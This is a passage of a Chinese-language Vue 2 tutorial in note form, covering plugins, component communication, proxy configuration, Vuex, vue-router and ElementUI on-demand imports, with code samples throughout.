        Vue.mixin(mixin2)
        // 创建vm
        new Vue({
            // el:'#app',
            render: h => h(App)
        }).$mount('#app')
        
      局部混入:mixins:['xxx']
      • 在需要混入的组件中引入mixin.js
        import {mixin} from '../mixin'
      • 在与data平级使用mixins
        mixins:[mixin]
        <script>
        // 引入一个mixin
        import {mixin} from '../mixin'
           export default {
            name:'School',
            data(){
                return {
                    name:'张三',
                    sex:'男',
                }
            },
            mixins:[mixin]
           }
        </script>
        

插件(install方法)

  1. 功能:用于增强Vue
  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
  3. 定义插件(创建一个plugins.js文件):
   export default {
   install(Vue,x,y,z) {
       console.log(x,y,z)
   	//全局过滤器
   	Vue.filter('mySlice',function(value){
   		return value.slice(0,4)
   	})

   	//定义全局指令
   	Vue.directive('fbind',{
   		//指令与元素成功绑定时(一上来)
   		bind(element,binding){
   			element.value = binding.value
   		},
   		//指令所在元素被插入页面时
   		inserted(element,binding){
   			element.focus()
   		},
   		//指令所在的模板被重新解析时
   		update(element,binding){
   			element.value = binding.value
   		}
   	})

   	//定义混入
   	Vue.mixin({
   		data() {
   			return {
   				x:100,
   				y:200
   			}
   		},
   	})

   	//给Vue原型上添加一个方法(vm和vc就都能用了)
   	Vue.prototype.hello = ()=>{alert('你好啊')}
   }
}
  1. 使用插件(在main.js里面使用):Vue.use()
// 引入Vue
import Vue from 'vue'
// 引入所有组件的父组件App
import App from './App'
// 引入插件
import plugins from './plugins'
// 关闭生产提示
Vue.config.productionTip = false

// 应用(使用)插件
Vue.use(plugins,1,2,3)
// 创建vm
new Vue({
    // el:'#app',
    render: h => h(App)
}).$mount('#app')

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped>

webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关API:

    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    2. xxxxxStorage.getItem('person');

      ​ 该方法接受一个键名作为参数,返回键名对应的值。

    3. xxxxxStorage.removeItem('key');

      ​ 该方法接受一个键名作为参数,并把该键名从存储中删除。

    4. xxxxxStorage.clear()

      ​ 该方法会清空存储中的所有数据。

  4. 备注:

    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. JSON.parse(null)的结果依然是null。

组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @student="test"/><Demo v-on:student="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      methods:{
      	test(){
      	......
      	},
      mounted(){
         this.$refs.demo.$on('student',this.test)
      }
      
  4. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。
    this.$refs.student.$once('student',this.getStudentName) //绑定自定义事件(一次性)

  5. 触发自定义事件(子组件中):this.$emit('student',数据)

  6. 解绑自定义事件(父组件中)this.$off('student')

  7. 组件上也可以绑定原生DOM事件,需要使用native修饰符。
    <Student ref="student" @click.native="show"/>

  8. 注意:通过this.$refs.xxx.$on('student',回调)绑定自定义事件时,回调要么配置在methods中要么用箭头函数,否则this指向会出问题!

全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线(main.js中):

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
         methods(){
           demo(data){......}
         }
         ......
         mounted() {
           this.$bus.$on('xxxx',this.demo)
         }
    
    1. 提供数据:this.$bus.$emit('xxxx',数据)

    2. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。哪里绑定自定义事件,就在哪里解绑

    	beforeDestroy(){
            this.$bus.$off('xxxx')
        }
    

消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 使用步骤:

    1. 安装pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
      
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在beforeDestroy钩子中,用pubSub.unsubscribe(this.pid)取消订阅。

nextTick

  1. 语法:this.$nextTick(回调函数)
this.$nextTick(function(){
	this.$refs.inputTitle.focus()
})
  1. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  2. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

Vue封装的过度与动画

  1. 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。

  2. 写法:

    1. 准备好样式(可将v改为transition中的name中的值,即可只给name中值相同的使用):

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置name属性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
  3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

    <transition-group name="hello" appear>
        <h1 v-show="!isShow" key="1">你好啊!</h1>
        <h1 v-show="isShow" key="2">张三!</h1>
    </transition-group>
    
  4. 第三方动画:https://animate.style/

    <transition-group 
    appear
    name="animate__animated animate__bounce" 
    enter-active-class="animate__swing"
    leave-active-class="animate__backOutUp"
    >
        <h1 v-show="!isShow" key="1">你好啊!</h1>
        <h1 v-show="isShow" key="2">张三!</h1>
    </transition-group>
    

第四章 Vue中的ajax

解决开发环境 Ajax 跨域问题

配置代理 方式一

在vue.config.js中添加如下配置:

// 开启代理服务器(方式一)
  devServer: {
    proxy: 'http://localhost:5000'
  }

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)
方法二

​ 编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

vue 项目中常用的 2 个 Ajax 库

axios
安装

这里推荐使用的是VS Code,首先在VS里面打开终端,输入npm i axios安装即可

使用
  1. 引入axios
    import axios from 'axios'
  2. 请求数据
axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
	response => {
	// 请求成功后更新List数据
	   this.$bus.$emit('updateListData',{isLoading:false,errMsg:'',users:response.data.items})
	},
	error => {
	// 请求失败后更新List数据
	   this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message,users:[]})
	}
)
vue-resource
安装

这里推荐使用的是VS Code,首先在VS里面打开终端,输入npm i vue-resource安装即可

使用
  1. main.js引入vue-resource
// 引入插件
import VueResource from 'vue-resource'
Vue.use(VueResource)
  1. 请求数据
this.$http.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
	response => {
	// 请求成功后更新List数据
	   this.$bus.$emit('updateListData',{isLoading:false,errMsg:'',users:response.data.items})
	},
	error => {
	// 请求失败后更新List数据
	   this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message,users:[]})
	}
)

slot 插槽

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件 ===> 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默认插槽

      父组件中:
              <Category>
                 <div>html结构1</div>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot>插槽默认内容...</slot>
                  </div>
              </template>
      
    2. 具名插槽

      父组件中:
              <Category>
                  <template slot="center">
                    <div>html结构1</div>
                  </template>
      
                  <template v-slot:footer>
                     <div>html结构2</div>
                  </template>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot name="center">插槽默认内容...</slot>
                     <slot name="footer">插槽默认内容...</slot>
                  </div>
              </template>
      
    3. 作用域插槽

      1. 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

      2. 具体编码:

        父组件中:
        		<Category>
        			<template scope="scopeData">
        				<!-- 生成的是ul列表 -->
        				<ul>
        					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
        				</ul>
        			</template>
        		</Category>
        
        		<Category>
        			<template slot-scope="scopeData">
        				<!-- 生成的是h4标题 -->
        				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
        			</template>
        		</Category>
        子组件中:
                <template>
                    <div>
                        <slot :games="games"></slot>
                    </div>
                </template>
        		
                <script>
                    export default {
                        name:'Category',
                        props:['title'],
                        //数据在子组件自身
                        data() {
                            return {
                                games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                            }
                        },
                    }
                </script>
        

第五章 vuex

vuex 是什么

  1. 专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 vue 应
    用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方
    式,且适用于任意组件间通信。
  2. Github 地址:https://github.com/vuejs/vuex

什么时候使用 Vuex

  1. 多个组件依赖于同一状态
  2. 来自不同组件的行为需要变更同一状态

Vuex 工作原理图

在这里插入图片描述

安装vuex

终端输入npm i vuex@3
注意:vuex3在vue2中使用,vuex4在vue3中使用

搭建vuex环境

  1. 创建文件:src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions对象——响应组件中用户的动作
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
    //准备state对象——保存具体的数据
    const state = {}
    
    //创建并暴露store
    export default new Vuex.Store({
    actions,
    mutations,
    state
    })
    
  2. main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store'
    ......
    
    //创建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    

基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。
  2. store.js中追加getters配置
    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
  3. 组件中读取数据:$store.getters.bigSum

四个map方法的使用

首先通过import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'引入

  1. mapState方法:用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
    
  2. mapGetters方法:用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
  3. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:jiaOdd、jiaWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  4. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

     // 该文件用于创建Vuex中最为核心的store
     
     // 引入vuex
     import Vue from 'vue'
     // 引入Vuex
     import Vuex from 'vuex'
     // 引入求和相关的配置
     import countOptions from './count'
     // 引入人员管理相关的配置
     import personOptions from './person'
     import axios from 'axios'
     import {nanoid} from 'nanoid'
     // 使用Vuex插件
     Vue.use(Vuex)
     
     // 求和相关的配置
     const countAbout = {
         namespaced:true,//开启命名空间
         actions:{
             jiaOdd(context,value){
                 console.log('jiaOdd被调用了');
                 if(context.state.sum % 2){
                     context.commit('JIA',value)
                 }
             },
             jiaWait(context,value){
                 console.log('jiaWait被调用了');
                 setTimeout(()=>{
                     context.commit('JIA',value)
                 },500)
             },
         },
         mutations:{
             JIA(state,value){
                 state.sum += value
             },
             JIAN(state,value){
                 state.sum -= value
             },
         },
         state:{
             sum:0,
             school:'bilibili',
             subject:'前端',
         },
         getters:{
             bigSum(state){
                 return state.sum * 10;
             }
         }
     }
     
     // 人员管理相关的配置
     export default {
         namespaced:true,//开启命名空间
         actions:{
             addPersonWang(context,value){
                 if(value.name.indexOf('王') === 0){
                     context.commit('ADD_PERSON',value)
                 }else {
                     alert('必须是姓王的人!')
                 }
             },
             addPersonServer(context){
                 axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
                     response => {
                         context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
                     },
                     error => {
                         alert(error.message)
                     }
                 )
             }
         },
         mutations:{
             ADD_PERSON(state,value){
                 state.personList.unshift(value)
             },
         },
         state:{
             personList:
             [
                 {id:'1',name:'张三'}
             ]
         },
         getters:{
             firstPersonName(state){
                 return state.personList[0].name
             }
         }
     }
     
     // 创建并暴露store
     export default new Vuex.Store({
         modules:{
             countAbout:countOptions,
             personAbout:personOptions,
         }
     })
    

注意:每个模块都需要开启命名空间,添加namespaced:true开启,默认为false。

  1. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
  2. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  3. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  4. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

modules的使用(配合模块化)

  1. 包含多个 module
  2. 一个 module 是一个 store 的配置对象
  3. 与一个组件(包含有共享数据)对应
// 该文件用于创建Vuex中最为核心的store

// 引入vuex
import Vue from 'vue'
// 引入Vuex
import Vuex from 'vuex'
// 引入求和(countAbout)相关的配置
import countOptions from './count'
// 引入人员管理(personAbout)相关的配置
import personOptions from './person'
// 使用Vuex插件
Vue.use(Vuex)
// 创建并暴露store
export default new Vuex.Store({
    modules:{
        countAbout:countOptions,
        personAbout:personOptions,
    }
})

第六章 vue-router

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key是路径,value是组件。

1.基本使用

  1. 安装vue-router,命令:npm i vue-router

  2. 应用插件(在main.js中):

    // 引入Vue
    import Vue from 'vue'
    // 引入所有组件的父组件App
    import App from './App'
    //引入VueRouter
    import VueRouter from 'vue-router'
    // 引入路由器(在new Vue中router赋值)
    import router from './router'
    
    // 关闭生产提示
    Vue.config.productionTip = false
    // 应用插件
    Vue.use(VueRouter)
    
    // 创建vm
    new Vue({
        // el:'#app',
        render: h => h(App),
        router:router
    }).$mount('#app')
    
  3. 编写router配置项(新建一个js文件,引入到main.js中Vue中的router):

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  4. (替换a标签)实现切换(active-class可配置高亮样式,to中为第3步中路由的path)

    <div class="list-group">
      <!-- 原始html中我们使用a标签实现页面的跳转 -->
      <!-- <a class="list-group-item active" href="./about.html">About</a>
      <a class="list-group-item" href="./home.html">Home</a> -->
    
      <!-- Vue中借助router-link标签实现路由的切换 -->
      <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
      <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
    </div>
    
  5. 指定展示位置

    <!-- 指定组件的呈现位置 -->
    <router-view></router-view>
    
  6. 举例

    <template>
      <div>
        <div class="row">
          <div class="col-xs-offset-2 col-xs-8">
            <div class="page-header"><h2>Vue Router Demo</h2></div>
          </div>
        </div>
        <div class="row">
          <div class="col-xs-2 col-xs-offset-2">
            <div class="list-group">
             <!-- 原始html中我们使用a标签实现页面的跳转 -->
              <!-- <a class="list-group-item active" href="./about.html">About</a>
              <a class="list-group-item" href="./home.html">Home</a> -->
    
              <!-- Vue中借助router-link标签实现路由的切换 -->
              <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
              <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
            </div>
          </div>
          <div class="col-xs-6">
            <div class="panel">
              <div class="panel-body">
                <!-- 指定组件的呈现位置 -->
                <router-view></router-view>
              </div>
            </div>
          </div>
        </div>
      </div>
    </template>
    

2.几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

3.多级路由(多级路由)

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

4.路由的query参数

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    				
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    
  2. 接收参数:

     <template>
     	<ul>
     		<li>消息编号:{{ this.$route.query.id }}</li>
     		<li>消息标题:{{ this.$route.query.title }}</li>
     	</ul>
     </template>
    

5.命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
      	path:'/demo',
      	component:Demo,
      	children:[
      		{
      			path:'test',
      			component:Test,
      			children:[
      				{
                            name:'hello' //给路由命名
      					path:'welcome',
      					component:Hello,
      				}
      			]
      		}
      	]
      }
      
    2. 简化跳转:

      <!--简化前,需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>
      
      <!--简化后,直接通过名字跳转 -->
      <router-link :to="{name:'hello'}">跳转</router-link>
      
      <!--简化写法配合传递参数 -->
      <router-link 
      	:to="{
      		name:'hello',
      		query:{
      		   id:666,
                  title:'你好'
      		}
      	}"
      >跳转
      </router-link>
      

6.路由的params参数

  1. 配置路由,声明接收params参数

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link> -->
    				
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:

     <template>
        <ul>
     	    <li>消息编号:{{ this.$route.params.id }}</li>
     	    <li>消息标题:{{ this.$route.params.title }}</li>
        </ul>
     </template>
    

7.路由的props配置

​ 作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

8.<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace ...>About</router-link>

9.编程式路由导航

  1. 作用:不借助<router-link> 实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退,在里面填写正数前进,负数后退
    

10.缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。

  2. 具体编码:

     <!-- 缓存多个路由组件 -->
     <!-- <keep-alive :include="['News','Message']">
     	<router-view></router-view>
     </keep-alive> -->
     
     <!-- 缓存一个路由组件 -->
     <keep-alive include="News">
     	<router-view></router-view>
     </keep-alive>
    

11.两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。

  2. 具体名字:

    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。
  3. 当你使用了缓存路由组件之后,但是你却想将你定义的定时器等功能给销毁时,即可使用activateddeactivated

    activated(){
         console.log('News组件激活了');
         this.times = setInterval(() => {
            console.log('@');
            this.opacity -= 0.01
            if(this.opacity <= 0) this.opacity = 1
         }, 16)
      },
    deactivated(){
       console.log('News组件失活了');
       clearInterval(this.times)
    }
    

12.路由守卫

  1. 作用:对路由进行权限控制

  2. 分类:全局守卫、独享守卫、组件内守卫

  3. 全局守卫:

    //全局前置守卫:初始化时执行、每次路由切换前执行
    const router = new VueRouter({
     ......
     })
    router.beforeEach((to,from,next)=>{
    	console.log('beforeEach',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
    			next() //放行
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next() //放行
    	}
    })
    
    //全局后置守卫:初始化时执行、每次路由切换后执行
    router.afterEach((to,from)=>{
    	console.log('afterEach',to,from)
    	if(to.meta.title){ 
    		document.title = to.meta.title //修改网页的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    export default router
    
  4. 独享守卫:

    const router = new VueRouter({
     	mode:'hash',
     // mode:'history',
     routes:[
         {
     		name:'xinwen',
            path:'news',
     		component:News,
     		meta:{isAuth:true,title:'新闻'},
     		beforeEnter:((to,from,next)=>{
     			console.log('独享路由守卫',to,from  );
     			if(to.meta.isAuth) { //判断是否需要权限
     				if(localStorage.getItem('school') === '张三学院') {
     					next() //放行
     				}else {
     					alert('学校名不对,无权查看!')
     				}
     			}else {
     				next()
     			}
     		})
         },
     ]
    })
    
  5. 组件内守卫(在所需守卫的组件添加即可):

      <script>
         export default {
           name:'About',
     
           //  通过路由规则,进入该组件时被调用
           beforeRouteEnter (to, from, next) {
              console.log('About--beforeRouteEnter',to,from);
              if(to.meta.isAuth) { //判断是否需要权限
                 if(localStorage.getItem('school') === '张三学院') {
                       next() //放行
                 }else {
                       alert('学校名不对,无权查看!')
                 }
              }else {
                 next()
              }
           },
           
           //  通过路由规则,离开该组件时被调用
           beforeRouteLeave (to, from, next) {
              console.log('About--beforeRouteLeave',to,from);
              next()
           }
         }
      </script>
    

13.路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。

  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。

  3. hash模式:

    1. 地址中永远带着#号,不美观 。
    2. 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
    3. 兼容性较好。
  4. history模式:

    1. 地址干净,美观 。
    2. 兼容性和hash模式相比略差。
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
  5. 在路由里设置即可

    const router = new VueRouter({
    	mode:'hash',
        // mode:'history',
    	......
    })
    

第七章 ElementUI组件库

ElementUI地址:https://element.eleme.cn/#/zh-CN/component/installation

按需引入

  1. main.js文件中
    // 引入Vue
    import Vue from 'vue'
    // 引入所有组件的父组件App
    import App from './App'
    // 按需引入(使用那个引入那个)
    import { Button, Row, DatePicker } from 'element-ui';
    // 关闭生产提示
    Vue.config.productionTip = false
    //应用ElementUI
    Vue.component(Button.name, Button);
    Vue.component('el-row', Row);
    Vue.component('el-date-picker', DatePicker);
    // 创建vm
    new Vue({
        // el:'#app',
        render: h => h(App),
    }).$mount('#app')	
    
  2. babel.config.js
    module.exports = {
      presets: [
        '@vue/cli-plugin-babel/preset',
        ["@babel/preset-env", { "modules": false }]
      ],
      "plugins": [
        [
          "component",
          {
            "libraryName": "element-ui",
            "styleLibraryName": "theme-chalk"
          }
        ]
      ]
    }
    
  3. 之后即可在组件中使用按需引入的组件即可
    <template>
      <div>
    		<button>原生的按钮</button>
    		<input type="text">
    		<el-row>
    			<el-button>默认按钮</el-button>
    			<el-button type="primary">主要按钮</el-button>
    			<el-button type="success">成功按钮</el-button>
    			<el-button type="info">信息按钮</el-button>
    			<el-button type="warning">警告按钮</el-button>
    			<el-button type="danger">危险按钮</el-button>
    		</el-row>
    		<el-date-picker
          type="date"
          placeholder="选择日期">
        </el-date-picker>
    		<el-row>
    			<el-button icon="el-icon-search" circle></el-button>
    			<el-button type="primary" icon="el-icon-s-check" circle></el-button>
    			<el-button type="success" icon="el-icon-check" circle></el-button>
    			<el-button type="info" icon="el-icon-message" circle></el-button>
    			<el-button type="warning" icon="el-icon-star-off" circle></el-button>
    			<el-button type="danger" icon="el-icon-delete" circle></el-button>
    		</el-row>
      </div>
    </template>
    

按需引入报错

  1. 如果根据ElementUI组件库的快速上手一步一步引入,将会报以下错误
    在这里插入图片描述
  2. babel.config.js中将["es2015", { "modules": false }]修改为["@babel/preset-env", { "modules": false }]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值